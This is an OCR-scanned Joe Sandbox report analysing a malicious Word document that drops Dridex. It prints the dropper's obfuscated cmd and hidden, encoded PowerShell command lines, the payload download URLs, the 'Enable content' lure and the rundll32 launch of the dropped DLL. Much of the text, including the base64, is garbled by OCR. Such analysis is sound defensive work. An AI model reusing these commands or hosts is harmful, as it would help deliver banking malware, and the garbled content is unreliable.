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Analysis Report Order.802796810.doc

Overview
General Information Detection Classification
Sample Order.802796810.doc

Name: Antivirus detection for URL or domain

Analysis ID: 339433 MALICIOUS Found malware configuration

MDS: blc2a32ch28d07.. Multi AV Scanner detection for dropp...

SHA1L:

3ac3123decds69.. Office document tries to convince Vvi...
SHA256: 6951461b231a0f4.

Creates processes via WMI
Most interesting Screenshot:

Document contains an embedded VB...

Document contains an embedded VB...

1] Office 365

Encrypted powershell cmdline option...

Machine Learning detection for dropp...

Obfuscated command line found

Score: 100
Range: 0-100 Potential dropper, URLs found in pow...
iS5 ee =] e Whitelisted:  false Powershell drops PE file

w
«Q
>
2
(=
=
®
(7]

Confidence:  100%

Startup

= System is w7x64

. WINWORD.EXE (PID: 1068 cmdline: 'C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
cmd.exe (PID: 952 cmdline: cmd cmd /c m”~s"g %username% /v Wo”rd exp”erien”ced an er”ror tryi*ng to op”en th”e fi*le. & powe”rs*he/lI* -w hi*dd”en -*e”nc UWBIAFQ
ALQBpAHQARQBIACAAdgBhAFIASQBhAEIADABFADOAdWAYAEgAQWAJACYAWWBOAHKAUABFAFOAKAAIAHSAMAB9AHSAMgBIAHSAMWBIAHSAMQBIACIAIAAIAGY
AJwBzAHKAUWBOACCALAANAHIARQBDAHQAbWBSAHKAJWASACCAZQBNAC4AaQBVACAAIWASACCARABPACCAKQAGACKAIAAGADSAIAAGACAACWBFAHQALQBPAHQ
AZQBtACAAKAAIAFYAQQBYAGKAY QAIACSAIgBIAGWAZQABACIAKWAIAHMAIgArACIAOQBUADYAIgAPACAAKAAGAFSAdABSAHAAZQBAACGAIgB7ADQAFQB7ADAATQB7ADCAf
QB7ADUAfQB7ADgAfQB7ADMAIQB7ADYAfQB7ADIAIQB7ADEAFQAIACOAZGAgACCACWBUAEUADQAUAGAAIWASACCARQBSACCALAANAGAAY QBNACCALAANAGKAY
WANACWAIJWBTAHKAIWASACCALGANACWAIWBFAFAAbWBPAE4AdABIAGEAIWASACCARQBUACCALAANAFMAZQBYAHYAJWAPACAAIAAPADSAIAAKAFIAegBIADgAbQBzADEAPQA
KAEWAXWABAEYAIAATACAAWWBJAGGAY QBYAFOAKAA2ADQAKQAJACSAIAAKAFOANAAWAEOAOWAKAFUANQAXAEIAPQA0ACYAIWBIACCAKWANADGANGANACKAKWA
NAFKAIWAPADSAIAAKAHCAMgBOAEMAOQGABACIAYWBYAEUAY QBOAGAAZQBEAGKAYABSAGUAYWBOAEBAYABSAHKAIGAOACQASABPAEOARQAGACSAIAAOACGAIWB
GAHAAJWArACgAIJWBMAEWAJIWArACcAeAA4ACCAKQArACgAIWBVACCAKWANADAACWANACSAIJWBBAEYACAANACKAKWAOACCAZgBHAHOAJABhACCAKWANAHOAaWA
NACKAKWAOACCABABGACCAKWANAHAAIWAPACSAIWBMACCAKQAIAHIARQBWAGWAY QBDAEUAIAAOACCARGANACSAIWBWAGYAIWAPACWAWWBDAGIAQQBYAFOAOQA
YACKAKQA7ACQAUQA4ADEAQYAIACJAIWBYACCAKWAOACCANAANACSAIWBIAFY AJWAPACKAOWAGACQAUWASAE4ANGABADOAIgBZAEUAYWB1AHIAY ABpAGAAVAB

ZAHAAUgBVAGAAVABPAGMATWBMACIAIAA9ACAAKAANAFQAJWArACgAIWBSACCAKWANAHMAMQAYACCAKQAPADSAIJABQADUANQBMADOAKAAOACCASQANACSAIwWB
fADYAJWAPACSAIWBGACCAKQA7ACQATWBSAHYAdgB3AG4ANgAgADOAIAAOACGAIWBIACCAKWANADEAMQANACKAKWANAEYAJWAPADSAJABJADgAMgBPADOAKAA
NAEKAJWArACgAJWAzZADQAIWArACcAUgANACKAKQA7ACQAVQBVADCAbwBSAHUAZQA9ACQASABPAEOARQArACgAKAAOACCAYWBIACCAKWANAHEAIJWAPACSAKAA
NAEWAeAA4ACCAKWANAGBAIWArACCAMABZACCAKQArACgAIWBEAGMASAANACSAIWBXACCAKQArACgAIWBHAHOAJAANACSAIWBhAHOAIWAPACSAKAANAGSAIWA
rACcAbABJAEgACQANACKAKQAJACAALQBSAGUACABSAEEAQWBFACAAKABBAEMASABhAFIAXQASADKAKWBbBAEMASABhAFIAXQA3ADIAKWBbAEMASABhAFIAXQA
XADEAMwWApPACWAWWBDAEgAYQBSAFOAOQAYACKAKWAKAEBABAB2AHYAdwBUADY AKWAOACCALgBKACCAKWANAGWADBAANACKAOWAKAFMAXWA2AFAAPQAOACCAUgGA
nACsAKAANADUAMQANACsAJWBOACCAKQApPADSAIJABHAHQAMABIAHMAMQB1ADOAKAAOACCAQQBAACCAKWANAFSAIJWATACCACQBbAEQAIJWAPACSAIWABACBAIWA
rACgAJWAVAGOAJWAIrACCcAY QBpACCAKQArACgAIwBsACAAIWArACcAawANACKAKWANAHKAbwWANACSAIWBACCAKWANAGKAbgANACSAKAANAGMAJIWArACCAbwBUAGQAJIWAPA
CsAJWB1AGKAIWArACcAdAANACSAIWBzACAAIWArACgAIWB]AGBADQAVAGOAIWArACcAaABNAHUAJWAIrACCcAbgANACKAKWAOACCANWALACCAKWANADMAIWAPACSAKAANACA
AegBpAHAAQABBAFOAWWANACSAJWBXAFSARAANACSAIJWABACBALWANACKAKWANAGEAJWArACgAIWBJAGMAJQBYACCAKWANAGEAdAANACSAJWBIAGIAYWANACK
AKWAOACCALgBNAHIAIJWArACcALWBIADAAbAB3ACCAKWANADMAJAAUAHOAIWArACcAaQANACKAKWAOACCACABAACCAKWANAEEAXQANACKAKWANAFSACQANACSAKAANAFSAR
AANACSAIWABACCAKQArACgAIWAVACBAJABLIACCAKWANAGOAawANACKAKWAOACCAdQB2AC4AbWANACSAIWBYACCAKQArACgAIJWBNAC4AdABYACBAIWArACcAegANACSAIWB
kADgAJIWApPACSAIWBKAHgAIWArACgAIWBIADIAdQANACSAIWAUAHOA2QANACSAIWBWACCAKQATACCAQAANACSAKAANAEEAIWAIACCAXQBbBACCAKQArACCACQBbACCAKWANA
EQAOJANACSAIWAVACBAIWArACCAdAANACSAIWBOAGUAIWArACgAIJWB3ACCAKWANAG8ACgBSAGQAbWBMAGOAY QBJACCAKWANAGBAIWATrACCAYgAUACCAKQATA
CcAYWANACSAIWBVAGOAJWArACgAIJWAVAGMAagBzACcAKWANAGBAIWAPACSAKAANAGOADABVACCAKWANACAAegBpAHAAQAANACKAKWAOACCAQQANACSAIWBAA
FsAcQANACKAKWANAFSAJWArACgAIJWBEADOALWANACSAIJWAVACCAKQArACCAZ QAtACCAKWAOACCABQBhAGMAbWANACSAIJWBIACCAKQArACCALgJANACSAKAANAGMAJIWArACc
AbwBtAC4AIWAPACSAKAANAGIAIWArACCACgAVAGMAbAAZACCAKQArACCANQANACSAKAANAGUAMAAUAHOAaQBWACCAKWANAEAAQQANACSAIJWBAAFSAIJWAPACS
AIWBXAFSAIJWArACgAJWBEACCAKWANADOALWANACKAKWANAC8AbBAANACSAKAANAGUAZWANACSAIWBPACCAKWANAGBAbgAUAHMAIWArACCAZQBYACCAKWANAGK
AZQBzAG4AIWAPACSAIWBVAHCAIWArACgAIWAUAHCAZQANACSAIWBIACCAKQATACgAIwBZzAGKAdAANACSAIWBIACCAKQArACCALWBXACCAKWAOACCAMWANACSAIWAZAHIA
gANACKAKWANADIAIJWArACgAIWAUAHOAAQANACSAIWBWACCAKQAPACAAIgByAGUAYABWAGWAYABBAEMARQAIACJAKAAOACCAQQBIACCAKWANAFSAJWAPACSAJ
WBXACCAKWANAFSARAANACKALAA0AFSAYQBYAHIAY QBSAFOAKAA0ACCAZAANACSAKAANAHMAIWArACCAZQB3AGYAJWAPACKALAAOACCAAWANACSAKAANAGUAd
gB3ACCAKWANAGUAJIWAPACKAKQASACGAIWBhAGUAJIWAIACCAZgBMACCAKQASACJAKAANAGYAdJAANACSAIWBOACCAKQArACCACAANACKAKQBDADIAXQApPACAAIL
gBTAFAAbABgAGKAdAAIACgAJABLADEANWBQACAAKWAJACQAUGBEAGUAOABIAHMAMQAQGACSAIAAKAEOAMgAOAEWAKQA7ACQAUAA4ADKASGA9ACGAIWBHADIAJ
WAFACCANQBQACCAKQAT7AGYAbWBYAGUAY QBJAGYAIAAOACQARWBOAGIACYBJAGY AXWAJAGKAbgAGACQARWBOADAAZQBZADEAdQAPAHSAJABYAHKAeWAOACYAK
AANAE4AIWArACCAZQB3ACOATWBIAGOAZQBJACCAKWANAHQAIWAPACAAUWBZAFMAJABIAGOALgBUAEUAdJAAUAHCARQBIAEMADABPAEUATgBUACKALGAIAEQAT
WB3AGAATgBMAESAQQBEAGYAaQBgAEWAZQAIACJAJABHAGAYgBYAGMAZgBfACWAIAAKAFUAbWA3AGBAbABLIAGUAKQA7ACQASWAXADgASWAIACGAIWBKACCAK
WAO0ACCANQBFACCAKWANAFOAIWAPACKAOWBIAGYAIAACACYALGAOACCARWBIACCAKWANAHQALQANACSAIJWBIAHQAZQBIACCAKQAgACQAVQBVADCcAbwBSAHUAZ
QApAC4AIgBMAGUAYABOAGCAVABOACIAIAAIAGCAZQAJADQANGAWADKANQAPACAAewAMACgAIWBYAHUAIWArACcAbgBKAGWADAANACSAIWAZADIAIJWAPACAAT
ABVAGBANWBVAGWAJQBIACWAKAAOACCAUGANACSAIWB1AG4ARAANACKAKWANAGWADAANACKALgAIAFQAY ABPAHMAVABYAGKAYABOAGCAIgAOACKAOWAKAFOAN
gAYyAEgAPQAO0ACgAIJWBCACCAKWANADCAOAANACKAKWANAFCAIJWAPADSAYgBYAGUAY QBrADsAJABYADAANABMADOAKAACACCARQANACSAIWAYADQAJWAPACSAT
WBBACCAKQB9AHOAYWBhAHQAYWB0AHSATQBIACQAWGALIADEAUWAIACGAIWBIACCAKWAOACCAMWANACSAIWASAEOAIWAPACKA MDS:
5746BD7E255DD6ABAFAO06F7C42C1BA4L)

e [ msg.exe (PID: 2384 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)

e 4 powershell.exe (PID: 2520 cmdline: powershell -w hidden -enc UwBIAFQALQBpAHQARQBIACAAdgBhAFIASQBhAEIAbABFADOAdWAYAEgAQWAgACgAWWBO
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AHKAUABFAFOAKAAIAHSAMABYAHSAMgBIAHSAMWBIAHSAMQBIACIAIAAIAGYAIwBzAHKAUWBOACCALAANAHIARQBDAHQAbWBSAHKAIWASACCAZQBNAC4AaQBY
AC4AIWASACCARABPACCAKQAGACKAIAAGADSAIAAGACAACWBFAHQALQBPAHQAZQBIACAAKAAIAFYAQQBYAGKAY QAIACSAIgBIAGWAZQABACIAKWAIAHMAIgAr
ACIAOQBUADYAIgAPACAAKAAGAFSAJABSAHAAZQBAACYAIgB7ADQAFQB7ADAATQB7ADCAfQB7ADUAFQB7ADgAfQB7ADMAIQB7ADYAfQB7ADIAfQB7ADEAfQAI
ACOAZgAgACCACWBUAEUADQAUAGAAIWASACCARQBSACCALAANAGAAY QBNACCALAANAGKAYWANACWAIWBTAHKAIWASACCALGANACWAIWBFAFAAbWBPAE4AdABL
AGEAJWASACCARQBUACCALAANAFMAZQBYAHYAJWAPACAAIAAPADSAIAAKAFIAegBIADgAbQBzADEAPQAKAEWAXWASAE YAIAATACAAWWBJAGYAY QBYAFOAKAA2
ADQAKQAQGACsAIAAKAFOANAAWAEOAOWAKAFUANQAXAEIAPQACACYAIWBIACCAKWANADGANGANACKAKWANAFKAIWAPADSAIAAKAHCAMgBOAEMAOQGABACIAYWBY
AEUAYQBOAGAAZQBEAGKAYABSAGUAYWBOAESAYABSAHKAIGAOACQASABPAEOARQAJACSAIAA0ACYAIWBGAHAAIWArACGAIWBMAEWAIWArACCAeAA4ACCAK QAT
ACgAIWBVACCAKWANADAACWANACSAIJWBEAEYACAANACKAKWAOACCAZgBHAHOAdABhACCAKWANAHoAawAnACKAKWAOACCAbDABGACCAKWANAHAAIWAPACSAIwWBmM
ACCAKQAtAHIARQBWAGWAYQBDAEUAIAAOACCARGANACSAIWBWAGYAIJWAPACWAWWBDAGYAQQBYAFOAOQAYACKAKQA7ACQAUQA4ADEAQQAIACJAIWBYACCAKWAOD
ACCANAANACSAIWBFAFYAIWAPACKAOWAJACQAUWASAE4ANgABADOAIgBZAEUAYWB1AHIAYABPAGAAVABZAHAAUGBVAGAAVABPAGMATWBMACIAIAASACAAKAAN
AFQAIWArACgAIWBSACCAKWANAHMAMQAYACCAKQAPADSAJABQADUANQBMADOAKAAOACCASQANACSAIWBFADYAIWAPACSAIWBGACCAKQA7ACQATWBSAHYAdgB3
AG4ANgAgADOAIAAOACYAIWBIACCAKWANADEAMQANACKAKWANAEYAJWAPADSAJABIADgAMgBPADOAKAANAEKAIJWArACgAIWAZADQAJIWArACCAUgANACKAKQAT
ACQAVQBVADcAbwBSAHUAZQASACQASABPAEOARQArACYAKAAOACCAYWBIACCAKWANAHEAIWAPACSAKAANAEWAeAALACCAKWANAGBAIWAIACCAMABZACCAKQAr
ACgAIWBBAGMASAANACSAIWBXACCAKQArACJAIWBHAHOAdAANACSAIWBhAHOAIWAPACSAKAANAGSAIWAIACCADBABJAEGACQANACKAKQAGACAALQBSAGUACABS
AEEAQWBFACAAKABDBAEMASABhAFIAXQA5ADKAKWBDAEMASABhAFIAXQA3ADIAKWBbAEMASABhAFIAXQAXADEAMWAPACWAWWBDAEGAY QBSAFOAOQAYACKAKWAK
AEBAbAB2AHYAdwBUADYAKWAOACCALYBKACCAKWANAGWADAANACKAOWAKAFMAXWA2AFAAPQACACCAUGANACSAKAANADUAMQANACSAIWBOACCAKQAPADSAJABH
AHQAMABIAHMAMQB1ADOAKAAOACCAQQBIACCAKWANAFSAIWATACCACQBDAEQAIWAPACSAIWABACBAIWArACGAIWAVAGOAIWATACCAY QBpACCAKQArACgAIWBS
AC4AIWArACcAawANACKAKWANAHKAbwANACSAIWBgACCAKWANAGKAbgANACSAKAANAGMAIWArACCcAbwBUAGQAIWAPACSAIWBIAGKAIWArACcAdAANACSAIWBZ
AC4AIWArACgAIWBJAGBADBQAVAGOAIWArACCAaABNAHUAIWAIACCAbBgANACKAKWAOACCANWALIACCAKWANADMAIWAPACSAKAANACAAegBpAHAAQABBAFOAWWAN
ACsAIWBXAFSARAANACSAIWABACBALWANACKAKWANAGEAJWArACgAIWBJAGMAJQBYACCAKWANAGEAJAANACSAIWBIAGIAYWANACKAKWAOACCALGBNAHIAJWAr
ACcALWBIADAAbAB3ACCcAKWANADMAJAAUAHOAIWArACcAaQANACKAKWAOACCACABAACCAKWANAEEAXQANACKAKWANAFSACQANACSAKAANAFSARAANACSAIWAG
ACCcAKQArACgAIJWAVACBAdAB1ACCAKWANAGOAawANACKAKWAOACCAdQB2AC4AbwANACSAIWBYACCAKQATrACgAIJWBNAC4AdABYACBAIWAIACCcAegANACSAIWBK

ADgAIWAPACSAIWBKAHGAIWArACgAIWBIADIAdQANACSAIWAUAHOAAQANACSAIWBWACCAKQAIrACCAQAANACSAKAANAEEAIWATACCAXQBbACCAKQAIrACCcACQBb
ACCcAKWANAEQAOGANACSAIJWAVACBAIWArACCAdAANACSAIWBOAG UAIWArACgAIJWB3ACCAKWANAGBACgBSAGQAbWBMAGOAY QBJACCAKWANAGBAJWArACCAYgAU
ACCcAKQArACcAYWANACsAIJWBVAGOAIJWArACgAIWAVAGMAagBzACCAKWANAGBAIWAPACSAKAANAGOAbABVACCAKWANACAAegBpAHAAQAANACKAKWAOACCAQQAN
ACsAIJWBAAFSACQANACKAKWANAFSAIJWArACgAIJWBEADOALWANACSAIWAVACCAKQATrACCAZQALACCAKWAOACCAbQBhAGMAbWANACSAIWBIACCAKQArACCALgAN
ACSAKAANAGMAJIWArACCcAbwBtACAAIWAPACSAKAANAGIAIWArACCACGAVAGMADAAZACCAKQATACCANQANACSAKAANAGUAMAAUAHOAaQBWACCAKWANAEAAQQAN
ACsAIJWBAAFsAIJWAPACSAIWBXAFSAIJWArACgAJWBEACCAKWANADOALWANACKAKWANACBABAANACSAKAANAGUAZWANACSAIJWBpACCAKWANAGBAbgAUAHMAJIWAr
ACcAZQBYACcAKWANAGKAZQBzAG4AIWAPACSAIWBVAHCAIWArACgAIWAUAHCAZQANACSAIWBIACCAKQAIrACgAIWBZAGKAJAANACSAIWBIACCAKQArACCALWBX
ACCcAKWAOACCAMWANACSAIWAZAHIAdgANACKAKWANADIAIJWArACgAIWAUAHOAAQANACSAIWBWACCAKQAPACAAIgBYAGUAYABWAGWAYABBAEMARQAIACgAKAAD
ACCcAQQBIACCAKWANAFSAIWAPACSAIWBXACCAKWANAFSARAANACKALAAOAFSAY QBYAHIAY QBSAFOAKAAOACCAZAANACSAKAANAHMAIWAIACCAZQB3AGYAIJWApP
ACKALAAOACCAIWANACSAKAANAGUAdgB3ACCAKWANAGUAIWAPACKAKQASACIAIWBhAGUAIWArACCAZgBMACCAKQASACJAKAANAGYAJAANACSAIWBOACCAKQAr
ACCcACAANACKAKQBDADIAXQAPAC4AIgBTAFAABABYAGKAJAAIACJAIJABLADEANWBQACAAKWAGACQAUGBEAGUAOABIAHMAMQAGACSAIAAKAEOAMgAOAEWAKQAT
ACQAUAA4ADKASGAIACIAIWBHADIAIWAIACCANQBQACCAKQA7AGYAbWBYAGUAY QBJAGJAIAACACQARWBOAGIACYBJAGYAXWAJAGKAbgAJACQARWBOADAAZQBZ
ADEAdQApAHSAJABYAHKAeWAOACY AKAANAE4AIWArACCAZQB3ACOATWBIAGOAZQBJACCAKWANAHQAIWAPACAAUWBZAFMAJABIAGOALYBUAEUAJAAUAHCARQBI
AEMADABPAEUATgBUACKALgGAIAEQATWB3AGAATYBMAESBAQQBEAGYAaQBgAEWAZQAIACGAJABHAGYAYgBYyAGMAZgBfACWAIAAKAFUAbWA3AGBADABLAGUAKQA7
ACQASWAXADgASWASACYAIWBKACCAKWAOACCANQBFACCAKWANAFOAIWAPACKAOWBIAGYAIAAOACYALGAOACCARWBIACCAKWANAHQALQANACSAIWBIAHQAZQBLt
ACCcAKQAgACQAVQBVADCAbWBSAHUAZQAPAC4AAIgBMAGUAYABOAGCAVABOACIAIAAIAGCAZQAgADQANGAWADKANQAPACAAeWAMACgAIWBYAHUAIJWArACCcAbgBk
AGWADAANACSAIWAZADIAJWAPACAAIABVAGBANWBVAGWAJQBIACWAKAAOACCAUgANACSAIWB1IAGAARAANACKAKWANAGWADAANACKALGAIAFQAYABPAHMAVABY
AGKAYABOAGCAIgAOACKAOWAKAFOANgAYAEgGAPQAOACGAIWBCACCAKWANADCAOAANACKAKWANAFCAJWAPADSAYgBYAGUAY QBrADSAJABYADAANABMADOAKAAO
ACCARQANACSAIWAYADQAIWAPACSAIWBBACCAKQBIAHOAYWBhAHQAYWBOAHSAfQBOACQAWIALADEAUWAIACIAIWBIACCAKWAOACCAMWANACSAIWASAEOAIWAD
ACKA MD5: 852D67A27E454BD389FA7F02A8CBE23F)
. D rundll32.exe (PID: 2532 cmdline: 'C:\Windows\system32\rundll32.exe’ C:\Users\user\Lx800sz\Gztazk/\I11F.dll RunDIl MD5: DD81D91FF3B0763C392422865C9AC12E)
. D rundll32.exe (PID: 2556 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Lx800sz\Gztazk\I11F.dIl RunDIl MD5:
51138BEEA3E2C21EC44D0932C71762A8)
= cleanup

Malware Configuration

Threatname: Dridex

"Config: ": [

"Address count 0"

Yara Overview

No yara matches

Sigma Overview

System Summary: -i.
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Signature Overview

@ AV Detection

® Compliance

@ Spreading

@ Software Vulnerabilities

@ Networking

@ Key, Mouse, Clipboard, Microphone and Screen Capturing
@ System Summary

@ Data Obfuscation

® Persistence and Installation Behavior

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

® Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion

@ Language, Device and Operating System Detection

g

Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain
Found malware configuration

Multi AV Scanner detection for dropped file

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

HIPS | PFW | Operating System Protection Evasion: I I
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Mitre Att&ck Matrix

Initial
Access

Valid
Accounts

Default
Accounts

Domain
Accounts

Local
Accounts

Cloud
Accounts

Replication
Through
Removable
Media

External
Remote
Services

Drive-by

Execution

Windows
Management
Instrumentation

Command and
Scripting

Interpreter
Scripting

Native API

Exploitation for Client

Execution

PowerShell

Scheduled Task

Command and

Compromise Scripting Interpreter

Behavior Graph

Copyright null 2021
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Logon
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Logon Script
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Logon Script

Rc.common

Startup
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Process

Injection
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Logon Script
(Windows)
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Network

Logon Script
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Scheduled
Task/Job

Defense Evasion
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Deobfuscate/Decode
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Scripting
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(e
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Dumping
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Hide Legend

Behavior Graph

: 330433 Legend:
Sample: Order.802796810.doc

Startdate: 14/01/2021 D PrOCESS
Architecture:  WINDOWS

Score: 100 . Signature

. Created File

GEDE»EE» - -~ Howsrw
ﬂ Is Dropped
amdee A 3 wnworbexe H Is Windows Process

@ , , .

GHi= B A Number of created Registry Values

Number of created Files

o5
22
25

)

Delphi

i
i
=

B powershellexe  g&

n gz B

(4
3

Java

.Net C# or VB.NET

8
0@ 2 (|

C, C++ or other language

Is malicious

kyojinconduits.com

dropped Internet

_ s

o nndiszee A
c]

rundiiaz.exe -

€] |

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Order.802796810 [Compatibility Mode] - Microsoft Word

Home Insert Page Layout References Mailings Review View

b Cut - 1 s \ &4 Find ~
[ A a 4 aaBbceDe AaBbced AaBb( AaBbC: AaBb( AaBbccl % e

& Copy
= B Change
# Format Painter v = Styles~ | kg Select -

35 Replace

Clipboard 7 Paragraph Styles Editing

] Office 365

This document created in online version of Microsoft Office

To view or edit this document, please click "Enable editing” button
on the top yellow bar, and then click *Enable content®

Page:10f1 | Wordsi1 | & | = = 100% (=)

A oy o o 232AM |
.kg u;i] - O aon

sl

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

Source Detection Scanner Label Link
C:\Users\user\Lx800sz\GztazkN\I11F.dll 100% Joe Sandbox ML
C:\Users\user\Lx800sz\GztazkN\I11F.dll 43% ReversingLabs Win32.Trojan.MintZamg

Unpacked PE Files

No Antivirus matches

Domains

Source Detection Scanner Label Link
mail.kyojinconduits.com 0% Virustotal Browse
URLs

Source Detection Scanner Label Link
hitp:/ftumkuv.org.tr/zd8dxb2u.zip 0% Avira URL Cloud safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
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https://www.virustotal.com/gui/url/20972b2da961f9a6cad1d6d012f1f655f928874db4f0f9d3104fbf8bd3098ca8/detection/u-20972b2da961f9a6cad1d6d012f1f655f928874db4f0f9d3104fbf8bd3098ca8-1610439433

Source Detection
hitp://iwww.icra.org/vocabulary/. 0%
hitp://iwww.icra.org/vocabulary/. 0%
hitp:/fiwww.icra.org/vocabulary/. 0%
hitp://mail.kyojinconduits.com 0%
hitp://mail .kyojinconduits.com 0%
hitp://accuratebc.gr/eOlw3t.zip 0%
hitp://theworldofjacob.com/cjsomlo.zip 0%
hitp://legion.seriesnow.website/q33rv2.zip 0%
hitpziwww.%s.comPA 0%
hitpziwww.%s.comPA 0%
hitpziwww.%s.comPA 0%
hitp://fe-macom.com.br/cI35e0.zip 0%
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true 0%
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true 0%
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true 0%

Domains and IPs

Contacted Domains

Name Active Malicious

Scanner Label Link

URL Reputation safe

URL Reputation safe

URL Reputation safe

Virustotal

Browse

Avira URL Cloud safe

Avira URL Cloud safe

Avira URL Cloud safe

Avira URL Cloud safe

URL Reputation safe

URL Reputation safe

URL Reputation safe

Avira URL Cloud safe

URL Reputation safe

URL Reputation safe

URL Reputation safe

e e e e S v P I

Antivirus Detection

Reputation

Contacted URLs

Name Malicious

Antivirus Detection

Reputation

e e e (S e e v S (TR

URLs from Memory and Binaries

Name Source Malicious
hitp://services.msn.com/svcs/oe/certpage.asp? rundlI32.exe, 00000006.0000000 false
name=%s&email=%s&&Check 2.2103215814.0000000001D97000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2098004693.000
00000022E7000.00000002.0000000
1.sdmp
hitp:/f/www.windows.com/pctv. rundlI32.exe, 00000007.0000000 false

2.2097661823.0000000002100000.
00000002.00000001.sdmp

-_

rundll32.exe, 00000006.0000000 false
2.2102848578.0000000001BB0000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2097661823.000
0000002100000.00000002.0000000

1.sdmp

hitp://investor.msn.com

rundll32.exe, 00000006.0000000 false
2.2102848578.0000000001BB0000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2097661823.000
0000002100000.00000002.0000000

1.sdmp

hitp://www.msnbc.com/news/ticker.txt

rundll32.exe, 00000006.0000000 false
2.2103215814.0000000001D97000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2098004693.000
00000022E7000.00000002.0000000

1.sdmp

hitp:/fiwww.icra.org/vocabulary/.

hitp:// powershell.exe, 00000005.00000 false
schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous 002.2090150782.00000000023E000
0.00000002.00000001.sdmp, rund
1132.exe, 00000007.00000002.20
98302975.00000000026C0000.0000
0002.00000001.sdmp

Copyright null 2021

Antivirus Detection Reputation

high
high
high
high

e URL Reputation: safe unknown

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe
high
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https://www.virustotal.com/gui/url/20972b2da961f9a6cad1d6d012f1f655f928874db4f0f9d3104fbf8bd3098ca8/detection/u-20972b2da961f9a6cad1d6d012f1f655f928874db4f0f9d3104fbf8bd3098ca8-1610439433
https://www.virustotal.com/gui/url/20972b2da961f9a6cad1d6d012f1f655f928874db4f0f9d3104fbf8bd3098ca8/detection/u-20972b2da961f9a6cad1d6d012f1f655f928874db4f0f9d3104fbf8bd3098ca8-1610439433

Name Source Malicious

http:/f powershell.exe, 00000005.00000 false
www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv  002.2089530834.000000000021400
0.00000004.00000020.sdmp

hitp://investor.msn.com/ rundll32.exe, 00000006.0000000 false
2.2102848578.0000000001BB0000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2097661823.000
0000002100000.00000002.0000000

1.sdmp

hitp:/fwww.piriform.com/ccleaner powershell.exe, 00000005.00000 false
002.2089530834.000000000021400

0.00000004.00000020.sdmp

hitp:/fiwww.%s.comPA powershell.exe, 00000005.00000 false
002.2090150782.00000000023E000
0.00000002.00000001.sdmp, rund

1132.exe, 00000007.00000002.20
98302975.00000000026C0000.0000

0002.00000001.sdmp

hitp://iwindowsmedia.com/redir/services.asp?
WMPFriendly=true

rundll32.exe, 00000006.0000000 false
2.2103215814.0000000001D97000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2098004693.000
00000022E7000.00000002.0000000

1.sdmp

hitp:/fiwww.hotmail.com/oe rundll32.exe, 00000006.0000000 false

2.2102848578.0000000001BB0000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2097661823.000
0000002100000.00000002.0000000
1.sdmp

Contacted IPs

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Copyright null 2021

Antivirus Detection Reputation

high

high

high

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

<}
I |

e URL Reputation: safe unknown
e URL Reputation: safe
e URL Reputation: safe

high
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https://www.virustotal.com/gui/url/20972b2da961f9a6cad1d6d012f1f655f928874db4f0f9d3104fbf8bd3098ca8/detection/u-20972b2da961f9a6cad1d6d012f1f655f928874db4f0f9d3104fbf8bd3098ca8-1610439433

Public

Domain Country Flag ASN Name Malicious

General Information

Joe Sandbox Version: 31.0.0 Red Diamond

Analysis ID: 339433

Start date: 14.01.2021

Start time: 02:31:58

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 6m 2s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Order.802796810.doc

Cookbook file name: defaultwindowsofficecookbook.jbs
Analysis system description: Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,

Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed: 8
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0

Technologies: e HCA enabled
e EGA enabled
e HDC enabled
L]
L]

GSl enabled (VBA)

AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.evad.winDOC@10/7@1/1
EGA Information: Failed
HDC Information: e Successful, ratio: 2.7% (good quality ratio 2.6%)

e Quality average: 80.2%
e Quality standard deviation: 21.6%

HCA Information: e Successful, ratio: 66%
e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time
e Enable AMSI
Found application associated with file extension:
.doc
Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog
Click Ok
Attach to Office via COM
Scroll down
Close Viewer

Warnings: Show All
e Exclude process from analysis (whitelisted):
dllhost.exe, conhost.exe
e TCP Packets have been reduced to 100
e Report size getting too big, too many
NtQueryAttributesFile calls found.

Simulations

Behavior and APIs

Time Type Description

02:32:37 API Interceptor 1x Sleep call for process: msg.exe modified

Copyright null 2021 Page 12 of 38



Time

02:32:37

API Interceptor

Type Description

Joe Sandbox View | Context

IPs

No context
Domains
No context

ASN

Match
NAMECHEAP-NETUS

JA3 Fingerprints
No context

Dropped Files

No context

Associated Sample Name /| URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
